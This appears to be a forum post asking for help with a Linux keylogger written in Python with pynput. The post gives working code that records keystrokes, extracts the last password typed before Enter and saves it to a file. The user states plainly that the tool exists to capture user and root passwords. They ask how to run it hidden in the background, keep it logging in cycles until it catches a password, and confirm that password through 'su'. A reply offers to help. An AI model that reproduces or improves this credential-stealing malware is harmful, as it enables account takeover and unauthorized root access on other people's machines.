Linux Root Password Keylogger: Help needed

Hi all

I have created a keylogger for the sole purpose of logging user or root password.
Currently:
It logs everything, stores everything in a list at runtime
It has a function to sort data, basically this assumes that the last entered password is the correct password.
Code:

from pynput.keyboard import Listener, Key
import re

keys = []

def on_press(key):
    global keys
    keys.append(key)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()


# for sorting KeyCode and searching for password
def sort_pass():
    x = str(keys)
    replc = x.replace("'", "")
    replc2 = replc.replace(", ", "")
    y = re.findall(r">>(.*?)<Key.enter:", str(replc2))
    root_password = y[-1]
    print(f"Password Found: {root_password}")

    # for saving the last typed password to a file
    file = open('passwords.txt', 'w')
    file.write(root_password)
    file.close()

sort_pass()

Seems good to me so far, but it only saves password when your press escape key at the same terminal where you started the script. This is what I want to change.

Here is the improvements I am looking for:

1: automatically start the script (it does this but I want this to go in background)

2: currently the on_release function ends the script and grabs password when escape key is pressed; I want this script to store keystrokes for 30 minutes and after that look for password, if not found then clean the list and start up the logger again, I want this to be running as much as possible and end only when it catches the password.

3: I have another function to run system commands and see if the password is correct (I can get this done myself)

4: I want to store the password as ‘correct password’ only if I am able to perform ‘su username’ successfully (I can get this done myself)

Can anyone help me or do anyone want to collaborate?

Yes I can help you text me
